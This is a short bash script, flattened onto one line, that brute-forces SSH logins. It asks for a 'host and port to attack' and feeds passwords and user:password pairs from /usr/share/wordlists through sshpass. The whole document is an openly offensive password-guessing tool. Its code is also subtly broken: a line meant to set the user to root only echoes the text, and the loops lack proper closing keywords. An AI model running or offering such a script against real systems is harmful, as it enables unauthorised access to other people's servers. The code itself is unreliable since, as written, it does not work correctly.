#!/bin/bash set -e [[ -z $2 ]] && echo host and port to attack? && exit 1 host=$1 port=$2 [[ ! -x `which sshpass` ]] && echo install sshpass first && exit 1 echo user=root for f in /usr/share/wordlists/*.txt; do echo === parsing $f as dictionary === cat $f | while read pass; do echo $user $pass sshpass -p $pass ssh -T $host -l $user -p $port || true sleep 1 done echo done; unset f unset user for f in /usr/share/wordlists/*.passwd; do echo === parsing $f as user:passwd === cat $f | while read line; do user=`echo $line | cut -f1 -d:` pass=`echo $line | cut -f2 -d:` echo $user $pass sshpass -p $pass ssh -T $host -l $user -p $port || true sleep 1 done echo done; unset f echo all done echo # https://superuser.com/questions/1605215/how-to-specify-password-in-ssh-command